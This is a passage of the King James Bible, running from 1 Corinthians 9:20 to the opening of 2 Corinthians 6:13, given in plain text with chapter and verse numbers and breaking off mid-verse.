And unto the Jews I became as a Jew, that I might gain the Jews; +to them that are under the law, as under the law, that I might gain +them that are under the law; 9:21 To them that are without law, as +without law, (being not without law to God, but under the law to +Christ,) that I might gain them that are without law. + +9:22 To the weak became I as weak, that I might gain the weak: I am +made all things to all men, that I might by all means save some. + +9:23 And this I do for the gospel's sake, that I might be partaker +thereof with you. + +9:24 Know ye not that they which run in a race run all, but one +receiveth the prize? So run, that ye may obtain. + +9:25 And every man that striveth for the mastery is temperate in all +things. Now they do it to obtain a corruptible crown; but we an +incorruptible. + +9:26 I therefore so run, not as uncertainly; so fight I, not as one +that beateth the air: 9:27 But I keep under my body, and bring it into +subjection: lest that by any means, when I have preached to others, I +myself should be a castaway. + +10:1 Moreover, brethren, I would not that ye should be ignorant, how +that all our fathers were under the cloud, and all passed through the +sea; 10:2 And were all baptized unto Moses in the cloud and in the +sea; 10:3 And did all eat the same spiritual meat; 10:4 And did all +drink the same spiritual drink: for they drank of that spiritual Rock +that followed them: and that Rock was Christ. + +10:5 But with many of them God was not well pleased: for they were +overthrown in the wilderness. + +10:6 Now these things were our examples, to the intent we should not +lust after evil things, as they also lusted. + +10:7 Neither be ye idolaters, as were some of them; as it is written, +The people sat down to eat and drink, and rose up to play. + +10:8 Neither let us commit fornication, as some of them committed, and +fell in one day three and twenty thousand. + +10:9 Neither let us tempt Christ, as some of them also tempted, and +were destroyed of serpents. + +10:10 Neither murmur ye, as some of them also murmured, and were +destroyed of the destroyer. + +10:11 Now all these things happened unto them for ensamples: and they +are written for our admonition, upon whom the ends of the world are +come. + +10:12 Wherefore let him that thinketh he standeth take heed lest he +fall. + +10:13 There hath no temptation taken you but such as is common to man: +but God is faithful, who will not suffer you to be tempted above that +ye are able; but will with the temptation also make a way to escape, +that ye may be able to bear it. + +10:14 Wherefore, my dearly beloved, flee from idolatry. + +10:15 I speak as to wise men; judge ye what I say. + +10:16 The cup of blessing which we bless, is it not the communion of +the blood of Christ? The bread which we break, is it not the communion +of the body of Christ? 10:17 For we being many are one bread, and one +body: for we are all partakers of that one bread. + +10:18 Behold Israel after the flesh: are not they which eat of the +sacrifices partakers of the altar? 10:19 What say I then? that the +idol is any thing, or that which is offered in sacrifice to idols is +any thing? 10:20 But I say, that the things which the Gentiles +sacrifice, they sacrifice to devils, and not to God: and I would not +that ye should have fellowship with devils. + +10:21 Ye cannot drink the cup of the Lord, and the cup of devils: ye +cannot be partakers of the Lord's table, and of the table of devils. + +10:22 Do we provoke the Lord to jealousy? are we stronger than he? +10:23 All things are lawful for me, but all things are not expedient: +all things are lawful for me, but all things edify not. + +10:24 Let no man seek his own, but every man another's wealth. + +10:25 Whatsoever is sold in the shambles, that eat, asking no question +for conscience sake: 10:26 For the earth is the Lord's, and the +fulness thereof. + +10:27 If any of them that believe not bid you to a feast, and ye be +disposed to go; whatsoever is set before you, eat, asking no question +for conscience sake. + +10:28 But if any man say unto you, This is offered in sacrifice unto +idols, eat not for his sake that shewed it, and for conscience sake: +for the earth is the Lord's, and the fulness thereof: 10:29 +Conscience, I say, not thine own, but of the other: for why is my +liberty judged of another man's conscience? 10:30 For if I by grace +be a partaker, why am I evil spoken of for that for which I give +thanks? 10:31 Whether therefore ye eat, or drink, or whatsoever ye +do, do all to the glory of God. + +10:32 Give none offence, neither to the Jews, nor to the Gentiles, nor +to the church of God: 10:33 Even as I please all men in all things, +not seeking mine own profit, but the profit of many, that they may be +saved. + +11:1 Be ye followers of me, even as I also am of Christ. + +11:2 Now I praise you, brethren, that ye remember me in all things, +and keep the ordinances, as I delivered them to you. + +11:3 But I would have you know, that the head of every man is Christ; +and the head of the woman is the man; and the head of Christ is God. + +11:4 Every man praying or prophesying, having his head covered, +dishonoureth his head. + +11:5 But every woman that prayeth or prophesieth with her head +uncovered dishonoureth her head: for that is even all one as if she +were shaven. + +11:6 For if the woman be not covered, let her also be shorn: but if it +be a shame for a woman to be shorn or shaven, let her be covered. + +11:7 For a man indeed ought not to cover his head, forasmuch as he is +the image and glory of God: but the woman is the glory of the man. + +11:8 For the man is not of the woman: but the woman of the man. + +11:9 Neither was the man created for the woman; but the woman for the +man. + +11:10 For this cause ought the woman to have power on her head because +of the angels. + +11:11 Nevertheless neither is the man without the woman, neither the +woman without the man, in the Lord. + +11:12 For as the woman is of the man, even so is the man also by the +woman; but all things of God. + +11:13 Judge in yourselves: is it comely that a woman pray unto God +uncovered? 11:14 Doth not even nature itself teach you, that, if a +man have long hair, it is a shame unto him? 11:15 But if a woman have +long hair, it is a glory to her: for her hair is given her for a +covering. + +11:16 But if any man seem to be contentious, we have no such custom, +neither the churches of God. + +11:17 Now in this that I declare unto you I praise you not, that ye +come together not for the better, but for the worse. + +11:18 For first of all, when ye come together in the church, I hear +that there be divisions among you; and I partly believe it. + +11:19 For there must be also heresies among you, that they which are +approved may be made manifest among you. + +11:20 When ye come together therefore into one place, this is not to +eat the Lord's supper. + +11:21 For in eating every one taketh before other his own supper: and +one is hungry, and another is drunken. + +11:22 What? have ye not houses to eat and to drink in? or despise ye +the church of God, and shame them that have not? What shall I say to +you? shall I praise you in this? I praise you not. + +11:23 For I have received of the Lord that which also I delivered unto +you, That the Lord Jesus the same night in which he was betrayed took +bread: 11:24 And when he had given thanks, he brake it, and said, +Take, eat: this is my body, which is broken for you: this do in +remembrance of me. + +11:25 After the same manner also he took the cup, when he had supped, +saying, This cup is the new testament in my blood: this do ye, as oft +as ye drink it, in remembrance of me. + +11:26 For as often as ye eat this bread, and drink this cup, ye do +shew the Lord's death till he come. + +11:27 Wherefore whosoever shall eat this bread, and drink this cup of +the Lord, unworthily, shall be guilty of the body and blood of the +Lord. + +11:28 But let a man examine himself, and so let him eat of that bread, +and drink of that cup. + +11:29 For he that eateth and drinketh unworthily, eateth and drinketh +damnation to himself, not discerning the Lord's body. + +11:30 For this cause many are weak and sickly among you, and many +sleep. + +11:31 For if we would judge ourselves, we should not be judged. + +11:32 But when we are judged, we are chastened of the Lord, that we +should not be condemned with the world. + +11:33 Wherefore, my brethren, when ye come together to eat, tarry one +for another. + +11:34 And if any man hunger, let him eat at home; that ye come not +together unto condemnation. And the rest will I set in order when I +come. + +12:1 Now concerning spiritual gifts, brethren, I would not have you +ignorant. + +12:2 Ye know that ye were Gentiles, carried away unto these dumb +idols, even as ye were led. + +12:3 Wherefore I give you to understand, that no man speaking by the +Spirit of God calleth Jesus accursed: and that no man can say that +Jesus is the Lord, but by the Holy Ghost. + +12:4 Now there are diversities of gifts, but the same Spirit. + +12:5 And there are differences of administrations, but the same Lord. + +12:6 And there are diversities of operations, but it is the same God +which worketh all in all. + +12:7 But the manifestation of the Spirit is given to every man to +profit withal. + +12:8 For to one is given by the Spirit the word of wisdom; to another +the word of knowledge by the same Spirit; 12:9 To another faith by the +same Spirit; to another the gifts of healing by the same Spirit; 12:10 +To another the working of miracles; to another prophecy; to another +discerning of spirits; to another divers kinds of tongues; to another +the interpretation of tongues: 12:11 But all these worketh that one +and the selfsame Spirit, dividing to every man severally as he will. + +12:12 For as the body is one, and hath many members, and all the +members of that one body, being many, are one body: so also is Christ. + +12:13 For by one Spirit are we all baptized into one body, whether we +be Jews or Gentiles, whether we be bond or free; and have been all +made to drink into one Spirit. + +12:14 For the body is not one member, but many. + +12:15 If the foot shall say, Because I am not the hand, I am not of +the body; is it therefore not of the body? 12:16 And if the ear shall +say, Because I am not the eye, I am not of the body; is it therefore +not of the body? 12:17 If the whole body were an eye, where were the +hearing? If the whole were hearing, where were the smelling? 12:18 +But now hath God set the members every one of them in the body, as it +hath pleased him. + +12:19 And if they were all one member, where were the body? 12:20 But +now are they many members, yet but one body. + +12:21 And the eye cannot say unto the hand, I have no need of thee: +nor again the head to the feet, I have no need of you. + +12:22 Nay, much more those members of the body, which seem to be more +feeble, are necessary: 12:23 And those members of the body, which we +think to be less honourable, upon these we bestow more abundant +honour; and our uncomely parts have more abundant comeliness. + +12:24 For our comely parts have no need: but God hath tempered the +body together, having given more abundant honour to that part which +lacked. + +12:25 That there should be no schism in the body; but that the members +should have the same care one for another. + +12:26 And whether one member suffer, all the members suffer with it; +or one member be honoured, all the members rejoice with it. + +12:27 Now ye are the body of Christ, and members in particular. + +12:28 And God hath set some in the church, first apostles, secondarily +prophets, thirdly teachers, after that miracles, then gifts of +healings, helps, governments, diversities of tongues. + +12:29 Are all apostles? are all prophets? are all teachers? are all +workers of miracles? 12:30 Have all the gifts of healing? do all +speak with tongues? do all interpret? 12:31 But covet earnestly the +best gifts: and yet shew I unto you a more excellent way. + +13:1 Though I speak with the tongues of men and of angels, and have +not charity, I am become as sounding brass, or a tinkling cymbal. + +13:2 And though I have the gift of prophecy, and understand all +mysteries, and all knowledge; and though I have all faith, so that I +could remove mountains, and have not charity, I am nothing. + +13:3 And though I bestow all my goods to feed the poor, and though I +give my body to be burned, and have not charity, it profiteth me +nothing. + +13:4 Charity suffereth long, and is kind; charity envieth not; charity +vaunteth not itself, is not puffed up, 13:5 Doth not behave itself +unseemly, seeketh not her own, is not easily provoked, thinketh no +evil; 13:6 Rejoiceth not in iniquity, but rejoiceth in the truth; 13:7 +Beareth all things, believeth all things, hopeth all things, endureth +all things. + +13:8 Charity never faileth: but whether there be prophecies, they +shall fail; whether there be tongues, they shall cease; whether there +be knowledge, it shall vanish away. + +13:9 For we know in part, and we prophesy in part. + +13:10 But when that which is perfect is come, then that which is in +part shall be done away. + +13:11 When I was a child, I spake as a child, I understood as a child, +I thought as a child: but when I became a man, I put away childish +things. + +13:12 For now we see through a glass, darkly; but then face to face: +now I know in part; but then shall I know even as also I am known. + +13:13 And now abideth faith, hope, charity, these three; but the +greatest of these is charity. + +14:1 Follow after charity, and desire spiritual gifts, but rather that +ye may prophesy. + +14:2 For he that speaketh in an unknown tongue speaketh not unto men, +but unto God: for no man understandeth him; howbeit in the spirit he +speaketh mysteries. + +14:3 But he that prophesieth speaketh unto men to edification, and +exhortation, and comfort. + +14:4 He that speaketh in an unknown tongue edifieth himself; but he +that prophesieth edifieth the church. + +14:5 I would that ye all spake with tongues but rather that ye +prophesied: for greater is he that prophesieth than he that speaketh +with tongues, except he interpret, that the church may receive +edifying. + +14:6 Now, brethren, if I come unto you speaking with tongues, what +shall I profit you, except I shall speak to you either by revelation, +or by knowledge, or by prophesying, or by doctrine? 14:7 And even +things without life giving sound, whether pipe or harp, except they +give a distinction in the sounds, how shall it be known what is piped +or harped? 14:8 For if the trumpet give an uncertain sound, who shall +prepare himself to the battle? 14:9 So likewise ye, except ye utter +by the tongue words easy to be understood, how shall it be known what +is spoken? for ye shall speak into the air. + +14:10 There are, it may be, so many kinds of voices in the world, and +none of them is without signification. + +14:11 Therefore if I know not the meaning of the voice, I shall be +unto him that speaketh a barbarian, and he that speaketh shall be a +barbarian unto me. + +14:12 Even so ye, forasmuch as ye are zealous of spiritual gifts, seek +that ye may excel to the edifying of the church. + +14:13 Wherefore let him that speaketh in an unknown tongue pray that +he may interpret. + +14:14 For if I pray in an unknown tongue, my spirit prayeth, but my +understanding is unfruitful. + +14:15 What is it then? I will pray with the spirit, and I will pray +with the understanding also: I will sing with the spirit, and I will +sing with the understanding also. + +14:16 Else when thou shalt bless with the spirit, how shall he that +occupieth the room of the unlearned say Amen at thy giving of thanks, +seeing he understandeth not what thou sayest? 14:17 For thou verily +givest thanks well, but the other is not edified. + +14:18 I thank my God, I speak with tongues more than ye all: 14:19 Yet +in the church I had rather speak five words with my understanding, +that by my voice I might teach others also, than ten thousand words in +an unknown tongue. + +14:20 Brethren, be not children in understanding: howbeit in malice be +ye children, but in understanding be men. + +14:21 In the law it is written, With men of other tongues and other +lips will I speak unto this people; and yet for all that will they not +hear me, saith the LORD. + +14:22 Wherefore tongues are for a sign, not to them that believe, but +to them that believe not: but prophesying serveth not for them that +believe not, but for them which believe. + +14:23 If therefore the whole church be come together into one place, +and all speak with tongues, and there come in those that are +unlearned, or unbelievers, will they not say that ye are mad? 14:24 +But if all prophesy, and there come in one that believeth not, or one +unlearned, he is convinced of all, he is judged of all: 14:25 And thus +are the secrets of his heart made manifest; and so falling down on his +face he will worship God, and report that God is in you of a truth. + +14:26 How is it then, brethren? when ye come together, every one of +you hath a psalm, hath a doctrine, hath a tongue, hath a revelation, +hath an interpretation. Let all things be done unto edifying. + +14:27 If any man speak in an unknown tongue, let it be by two, or at +the most by three, and that by course; and let one interpret. + +14:28 But if there be no interpreter, let him keep silence in the +church; and let him speak to himself, and to God. + +14:29 Let the prophets speak two or three, and let the other judge. + +14:30 If any thing be revealed to another that sitteth by, let the +first hold his peace. + +14:31 For ye may all prophesy one by one, that all may learn, and all +may be comforted. + +14:32 And the spirits of the prophets are subject to the prophets. + +14:33 For God is not the author of confusion, but of peace, as in all +churches of the saints. + +14:34 Let your women keep silence in the churches: for it is not +permitted unto them to speak; but they are commanded to be under +obedience as also saith the law. + +14:35 And if they will learn any thing, let them ask their husbands at +home: for it is a shame for women to speak in the church. + +14:36 What? came the word of God out from you? or came it unto you +only? 14:37 If any man think himself to be a prophet, or spiritual, +let him acknowledge that the things that I write unto you are the +commandments of the Lord. + +14:38 But if any man be ignorant, let him be ignorant. + +14:39 Wherefore, brethren, covet to prophesy, and forbid not to speak +with tongues. + +14:40 Let all things be done decently and in order. + +15:1 Moreover, brethren, I declare unto you the gospel which I +preached unto you, which also ye have received, and wherein ye stand; +15:2 By which also ye are saved, if ye keep in memory what I preached +unto you, unless ye have believed in vain. + +15:3 For I delivered unto you first of all that which I also received, +how that Christ died for our sins according to the scriptures; 15:4 +And that he was buried, and that he rose again the third day according +to the scriptures: 15:5 And that he was seen of Cephas, then of the +twelve: 15:6 After that, he was seen of above five hundred brethren at +once; of whom the greater part remain unto this present, but some are +fallen asleep. + +15:7 After that, he was seen of James; then of all the apostles. + +15:8 And last of all he was seen of me also, as of one born out of due +time. + +15:9 For I am the least of the apostles, that am not meet to be called +an apostle, because I persecuted the church of God. + +15:10 But by the grace of God I am what I am: and his grace which was +bestowed upon me was not in vain; but I laboured more abundantly than +they all: yet not I, but the grace of God which was with me. + +15:11 Therefore whether it were I or they, so we preach, and so ye +believed. + +15:12 Now if Christ be preached that he rose from the dead, how say +some among you that there is no resurrection of the dead? 15:13 But +if there be no resurrection of the dead, then is Christ not risen: +15:14 And if Christ be not risen, then is our preaching vain, and your +faith is also vain. + +15:15 Yea, and we are found false witnesses of God; because we have +testified of God that he raised up Christ: whom he raised not up, if +so be that the dead rise not. + +15:16 For if the dead rise not, then is not Christ raised: 15:17 And +if Christ be not raised, your faith is vain; ye are yet in your sins. + +15:18 Then they also which are fallen asleep in Christ are perished. + +15:19 If in this life only we have hope in Christ, we are of all men +most miserable. + +15:20 But now is Christ risen from the dead, and become the +firstfruits of them that slept. + +15:21 For since by man came death, by man came also the resurrection +of the dead. + +15:22 For as in Adam all die, even so in Christ shall all be made +alive. + +15:23 But every man in his own order: Christ the firstfruits; +afterward they that are Christ's at his coming. + +15:24 Then cometh the end, when he shall have delivered up the kingdom +to God, even the Father; when he shall have put down all rule and all +authority and power. + +15:25 For he must reign, till he hath put all enemies under his feet. + +15:26 The last enemy that shall be destroyed is death. + +15:27 For he hath put all things under his feet. But when he saith all +things are put under him, it is manifest that he is excepted, which +did put all things under him. + +15:28 And when all things shall be subdued unto him, then shall the +Son also himself be subject unto him that put all things under him, +that God may be all in all. + +15:29 Else what shall they do which are baptized for the dead, if the +dead rise not at all? why are they then baptized for the dead? 15:30 +And why stand we in jeopardy every hour? 15:31 I protest by your +rejoicing which I have in Christ Jesus our LORD, I die daily. + +15:32 If after the manner of men I have fought with beasts at Ephesus, +what advantageth it me, if the dead rise not? let us eat and drink; +for to morrow we die. + +15:33 Be not deceived: evil communications corrupt good manners. + +15:34 Awake to righteousness, and sin not; for some have not the +knowledge of God: I speak this to your shame. + +15:35 But some man will say, How are the dead raised up? and with what +body do they come? 15:36 Thou fool, that which thou sowest is not +quickened, except it die: 15:37 And that which thou sowest, thou +sowest not that body that shall be, but bare grain, it may chance of +wheat, or of some other grain: 15:38 But God giveth it a body as it +hath pleased him, and to every seed his own body. + +15:39 All flesh is not the same flesh: but there is one kind of flesh +of men, another flesh of beasts, another of fishes, and another of +birds. + +15:40 There are also celestial bodies, and bodies terrestrial: but the +glory of the celestial is one, and the glory of the terrestrial is +another. + +15:41 There is one glory of the sun, and another glory of the moon, +and another glory of the stars: for one star differeth from another +star in glory. + +15:42 So also is the resurrection of the dead. It is sown in +corruption; it is raised in incorruption: 15:43 It is sown in +dishonour; it is raised in glory: it is sown in weakness; it is raised +in power: 15:44 It is sown a natural body; it is raised a spiritual +body. There is a natural body, and there is a spiritual body. + +15:45 And so it is written, The first man Adam was made a living soul; +the last Adam was made a quickening spirit. + +15:46 Howbeit that was not first which is spiritual, but that which is +natural; and afterward that which is spiritual. + +15:47 The first man is of the earth, earthy; the second man is the +Lord from heaven. + +15:48 As is the earthy, such are they also that are earthy: and as is +the heavenly, such are they also that are heavenly. + +15:49 And as we have borne the image of the earthy, we shall also bear +the image of the heavenly. + +15:50 Now this I say, brethren, that flesh and blood cannot inherit +the kingdom of God; neither doth corruption inherit incorruption. + +15:51 Behold, I shew you a mystery; We shall not all sleep, but we +shall all be changed, 15:52 In a moment, in the twinkling of an eye, +at the last trump: for the trumpet shall sound, and the dead shall be +raised incorruptible, and we shall be changed. + +15:53 For this corruptible must put on incorruption, and this mortal +must put on immortality. + +15:54 So when this corruptible shall have put on incorruption, and +this mortal shall have put on immortality, then shall be brought to +pass the saying that is written, Death is swallowed up in victory. + +15:55 O death, where is thy sting? O grave, where is thy victory? +15:56 The sting of death is sin; and the strength of sin is the law. + +15:57 But thanks be to God, which giveth us the victory through our +Lord Jesus Christ. + +15:58 Therefore, my beloved brethren, be ye stedfast, unmoveable, +always abounding in the work of the Lord, forasmuch as ye know that +your labour is not in vain in the Lord. + +16:1 Now concerning the collection for the saints, as I have given +order to the churches of Galatia, even so do ye. + +16:2 Upon the first day of the week let every one of you lay by him in +store, as God hath prospered him, that there be no gatherings when I +come. + +16:3 And when I come, whomsoever ye shall approve by your letters, +them will I send to bring your liberality unto Jerusalem. + +16:4 And if it be meet that I go also, they shall go with me. + +16:5 Now I will come unto you, when I shall pass through Macedonia: +for I do pass through Macedonia. + +16:6 And it may be that I will abide, yea, and winter with you, that +ye may bring me on my journey whithersoever I go. + +16:7 For I will not see you now by the way; but I trust to tarry a +while with you, if the Lord permit. + +16:8 But I will tarry at Ephesus until Pentecost. + +16:9 For a great door and effectual is opened unto me, and there are +many adversaries. + +16:10 Now if Timotheus come, see that he may be with you without fear: +for he worketh the work of the Lord, as I also do. + +16:11 Let no man therefore despise him: but conduct him forth in +peace, that he may come unto me: for I look for him with the brethren. + +16:12 As touching our brother Apollos, I greatly desired him to come +unto you with the brethren: but his will was not at all to come at +this time; but he will come when he shall have convenient time. + +16:13 Watch ye, stand fast in the faith, quit you like men, be strong. + +16:14 Let all your things be done with charity. + +16:15 I beseech you, brethren, (ye know the house of Stephanas, that +it is the firstfruits of Achaia, and that they have addicted +themselves to the ministry of the saints,) 16:16 That ye submit +yourselves unto such, and to every one that helpeth with us, and +laboureth. + +16:17 I am glad of the coming of Stephanas and Fortunatus and +Achaicus: for that which was lacking on your part they have supplied. + +16:18 For they have refreshed my spirit and your's: therefore +acknowledge ye them that are such. + +16:19 The churches of Asia salute you. Aquila and Priscilla salute you +much in the Lord, with the church that is in their house. + +16:20 All the brethren greet you. Greet ye one another with +an holy kiss. + +16:21 The salutation of me Paul with mine own hand. + +16:22 If any man love not the Lord Jesus Christ, let him be +Anathema Maranatha. + +16:23 The grace of our Lord Jesus Christ be with you. + +16:24 My love be with you all in Christ Jesus. Amen. + + + +The Second Epistle of Paul the Apostle to the Corinthians + + +1:1 Paul, an apostle of Jesus Christ by the will of God, and Timothy +our brother, unto the church of God which is at Corinth, with all the +saints which are in all Achaia: 1:2 Grace be to you and peace from God +our Father, and from the Lord Jesus Christ. + +1:3 Blessed be God, even the Father of our Lord Jesus Christ, the +Father of mercies, and the God of all comfort; 1:4 Who comforteth us +in all our tribulation, that we may be able to comfort them which are +in any trouble, by the comfort wherewith we ourselves are comforted of +God. + +1:5 For as the sufferings of Christ abound in us, so our consolation +also aboundeth by Christ. + +1:6 And whether we be afflicted, it is for your consolation and +salvation, which is effectual in the enduring of the same sufferings +which we also suffer: or whether we be comforted, it is for your +consolation and salvation. + +1:7 And our hope of you is stedfast, knowing, that as ye are partakers +of the sufferings, so shall ye be also of the consolation. + +1:8 For we would not, brethren, have you ignorant of our trouble which +came to us in Asia, that we were pressed out of measure, above +strength, insomuch that we despaired even of life: 1:9 But we had the +sentence of death in ourselves, that we should not trust in ourselves, +but in God which raiseth the dead: 1:10 Who delivered us from so great +a death, and doth deliver: in whom we trust that he will yet deliver +us; 1:11 Ye also helping together by prayer for us, that for the gift +bestowed upon us by the means of many persons thanks may be given by +many on our behalf. + +1:12 For our rejoicing is this, the testimony of our conscience, that +in simplicity and godly sincerity, not with fleshly wisdom, but by the +grace of God, we have had our conversation in the world, and more +abundantly to you-ward. + +1:13 For we write none other things unto you, than what ye read or +acknowledge; and I trust ye shall acknowledge even to the end; 1:14 As +also ye have acknowledged us in part, that we are your rejoicing, even +as ye also are our's in the day of the Lord Jesus. + +1:15 And in this confidence I was minded to come unto you before, that +ye might have a second benefit; 1:16 And to pass by you into +Macedonia, and to come again out of Macedonia unto you, and of you to +be brought on my way toward Judaea. + +1:17 When I therefore was thus minded, did I use lightness? or the +things that I purpose, do I purpose according to the flesh, that with +me there should be yea yea, and nay nay? 1:18 But as God is true, our +word toward you was not yea and nay. + +1:19 For the Son of God, Jesus Christ, who was preached among you by +us, even by me and Silvanus and Timotheus, was not yea and nay, but in +him was yea. + +1:20 For all the promises of God in him are yea, and in him Amen, unto +the glory of God by us. + +1:21 Now he which stablisheth us with you in Christ, and hath anointed +us, is God; 1:22 Who hath also sealed us, and given the earnest of the +Spirit in our hearts. + +1:23 Moreover I call God for a record upon my soul, that to spare you +I came not as yet unto Corinth. + +1:24 Not for that we have dominion over your faith, but are helpers of +your joy: for by faith ye stand. + +2:1 But I determined this with myself, that I would not come again to +you in heaviness. + +2:2 For if I make you sorry, who is he then that maketh me glad, but +the same which is made sorry by me? 2:3 And I wrote this same unto +you, lest, when I came, I should have sorrow from them of whom I ought +to rejoice; having confidence in you all, that my joy is the joy of +you all. + +2:4 For out of much affliction and anguish of heart I wrote unto you +with many tears; not that ye should be grieved, but that ye might know +the love which I have more abundantly unto you. + +2:5 But if any have caused grief, he hath not grieved me, but in part: +that I may not overcharge you all. + +2:6 Sufficient to such a man is this punishment, which was inflicted +of many. + +2:7 So that contrariwise ye ought rather to forgive him, and comfort +him, lest perhaps such a one should be swallowed up with overmuch +sorrow. + +2:8 Wherefore I beseech you that ye would confirm your love toward +him. + +2:9 For to this end also did I write, that I might know the proof of +you, whether ye be obedient in all things. + +2:10 To whom ye forgive any thing, I forgive also: for if I forgave +any thing, to whom I forgave it, for your sakes forgave I it in the +person of Christ; 2:11 Lest Satan should get an advantage of us: for +we are not ignorant of his devices. + +2:12 Furthermore, when I came to Troas to preach Christ's gospel, and +a door was opened unto me of the Lord, 2:13 I had no rest in my +spirit, because I found not Titus my brother: but taking my leave of +them, I went from thence into Macedonia. + +2:14 Now thanks be unto God, which always causeth us to triumph in +Christ, and maketh manifest the savour of his knowledge by us in every +place. + +2:15 For we are unto God a sweet savour of Christ, in them that are +saved, and in them that perish: 2:16 To the one we are the savour of +death unto death; and to the other the savour of life unto life. And +who is sufficient for these things? 2:17 For we are not as many, +which corrupt the word of God: but as of sincerity, but as of God, in +the sight of God speak we in Christ. + +3:1 Do we begin again to commend ourselves? or need we, as some +others, epistles of commendation to you, or letters of commendation +from you? 3:2 Ye are our epistle written in our hearts, known and +read of all men: 3:3 Forasmuch as ye are manifestly declared to be the +epistle of Christ ministered by us, written not with ink, but with the +Spirit of the living God; not in tables of stone, but in fleshy tables +of the heart. + +3:4 And such trust have we through Christ to God-ward: 3:5 Not that we +are sufficient of ourselves to think any thing as of ourselves; but +our sufficiency is of God; 3:6 Who also hath made us able ministers of +the new testament; not of the letter, but of the spirit: for the +letter killeth, but the spirit giveth life. + +3:7 But if the ministration of death, written and engraven in stones, +was glorious, so that the children of Israel could not stedfastly +behold the face of Moses for the glory of his countenance; which glory +was to be done away: 3:8 How shall not the ministration of the spirit +be rather glorious? 3:9 For if the ministration of condemnation be +glory, much more doth the ministration of righteousness exceed in +glory. + +3:10 For even that which was made glorious had no glory in this +respect, by reason of the glory that excelleth. + +3:11 For if that which is done away was glorious, much more that which +remaineth is glorious. + +3:12 Seeing then that we have such hope, we use great plainness of +speech: 3:13 And not as Moses, which put a vail over his face, that +the children of Israel could not stedfastly look to the end of that +which is abolished: 3:14 But their minds were blinded: for until this +day remaineth the same vail untaken away in the reading of the old +testament; which vail is done away in Christ. + +3:15 But even unto this day, when Moses is read, the vail is upon +their heart. + +3:16 Nevertheless when it shall turn to the Lord, the vail shall be +taken away. + +3:17 Now the Lord is that Spirit: and where the Spirit of the Lord is, +there is liberty. + +3:18 But we all, with open face beholding as in a glass the glory of +the Lord, are changed into the same image from glory to glory, even as +by the Spirit of the LORD. + +4:1 Therefore seeing we have this ministry, as we have received mercy, +we faint not; 4:2 But have renounced the hidden things of dishonesty, +not walking in craftiness, nor handling the word of God deceitfully; +but by manifestation of the truth commending ourselves to every man's +conscience in the sight of God. + +4:3 But if our gospel be hid, it is hid to them that are lost: 4:4 In +whom the god of this world hath blinded the minds of them which +believe not, lest the light of the glorious gospel of Christ, who is +the image of God, should shine unto them. + +4:5 For we preach not ourselves, but Christ Jesus the Lord; and +ourselves your servants for Jesus' sake. + +4:6 For God, who commanded the light to shine out of darkness, hath +shined in our hearts, to give the light of the knowledge of the glory +of God in the face of Jesus Christ. + +4:7 But we have this treasure in earthen vessels, that the excellency +of the power may be of God, and not of us. + +4:8 We are troubled on every side, yet not distressed; we are +perplexed, but not in despair; 4:9 Persecuted, but not forsaken; cast +down, but not destroyed; 4:10 Always bearing about in the body the +dying of the Lord Jesus, that the life also of Jesus might be made +manifest in our body. + +4:11 For we which live are alway delivered unto death for Jesus' sake, +that the life also of Jesus might be made manifest in our mortal +flesh. + +4:12 So then death worketh in us, but life in you. + +4:13 We having the same spirit of faith, according as it is written, I +believed, and therefore have I spoken; we also believe, and therefore +speak; 4:14 Knowing that he which raised up the Lord Jesus shall raise +up us also by Jesus, and shall present us with you. + +4:15 For all things are for your sakes, that the abundant grace might +through the thanksgiving of many redound to the glory of God. + +4:16 For which cause we faint not; but though our outward man perish, +yet the inward man is renewed day by day. + +4:17 For our light affliction, which is but for a moment, worketh for +us a far more exceeding and eternal weight of glory; 4:18 While we +look not at the things which are seen, but at the things which are not +seen: for the things which are seen are temporal; but the things which +are not seen are eternal. + +5:1 For we know that if our earthly house of this tabernacle were +dissolved, we have a building of God, an house not made with hands, +eternal in the heavens. + +5:2 For in this we groan, earnestly desiring to be clothed upon with +our house which is from heaven: 5:3 If so be that being clothed we +shall not be found naked. + +5:4 For we that are in this tabernacle do groan, being burdened: not +for that we would be unclothed, but clothed upon, that mortality might +be swallowed up of life. + +5:5 Now he that hath wrought us for the selfsame thing is God, who +also hath given unto us the earnest of the Spirit. + +5:6 Therefore we are always confident, knowing that, whilst we are at +home in the body, we are absent from the Lord: 5:7 (For we walk by +faith, not by sight:) 5:8 We are confident, I say, and willing rather +to be absent from the body, and to be present with the Lord. + +5:9 Wherefore we labour, that, whether present or absent, we may be +accepted of him. + +5:10 For we must all appear before the judgment seat of Christ; that +every one may receive the things done in his body, according to that +he hath done, whether it be good or bad. + +5:11 Knowing therefore the terror of the Lord, we persuade men; but we +are made manifest unto God; and I trust also are made manifest in your +consciences. + +5:12 For we commend not ourselves again unto you, but give you +occasion to glory on our behalf, that ye may have somewhat to answer +them which glory in appearance, and not in heart. + +5:13 For whether we be beside ourselves, it is to God: or whether we +be sober, it is for your cause. + +5:14 For the love of Christ constraineth us; because we thus judge, +that if one died for all, then were all dead: 5:15 And that he died +for all, that they which live should not henceforth live unto +themselves, but unto him which died for them, and rose again. + +5:16 Wherefore henceforth know we no man after the flesh: yea, though +we have known Christ after the flesh, yet now henceforth know we him +no more. + +5:17 Therefore if any man be in Christ, he is a new creature: old +things are passed away; behold, all things are become new. + +5:18 And all things are of God, who hath reconciled us to himself by +Jesus Christ, and hath given to us the ministry of reconciliation; +5:19 To wit, that God was in Christ, reconciling the world unto +himself, not imputing their trespasses unto them; and hath committed +unto us the word of reconciliation. + +5:20 Now then we are ambassadors for Christ, as though God did beseech +you by us: we pray you in Christ's stead, be ye reconciled to God. + +5:21 For he hath made him to be sin for us, who knew no sin; that we +might be made the righteousness of God in him. + +6:1 We then, as workers together with him, beseech you also that ye +receive not the grace of God in vain. + +6:2 (For he saith, I have heard thee in a time accepted, and in the +day of salvation have I succoured thee: behold, now is the accepted +time; behold, now is the day of salvation.) 6:3 Giving no offence in +any thing, that the ministry be not blamed: 6:4 But in all things +approving ourselves as the ministers of God, in much patience, in +afflictions, in necessities, in distresses, 6:5 In stripes, in +imprisonments, in tumults, in labours, in watchings, in fastings; 6:6 +By pureness, by knowledge, by longsuffering, by kindness, by the Holy +Ghost, by love unfeigned, 6:7 By the word of truth, by the power of +God, by the armour of righteousness on the right hand and on the left, +6:8 By honour and dishonour, by evil report and good report: as +deceivers, and yet true; 6:9 As unknown, and yet well known; as dying, +and, behold, we live; as chastened, and not killed; 6:10 As sorrowful, +yet alway rejoicing; as poor, yet making many rich; as having nothing, +and yet possessing all things. + +6:11 O ye Corinthians, our mouth is open unto you, our heart is +enlarged. + +6:12 Ye are not straitened in us, but ye are straitened in your own +bowels. + +6:13 Now for a 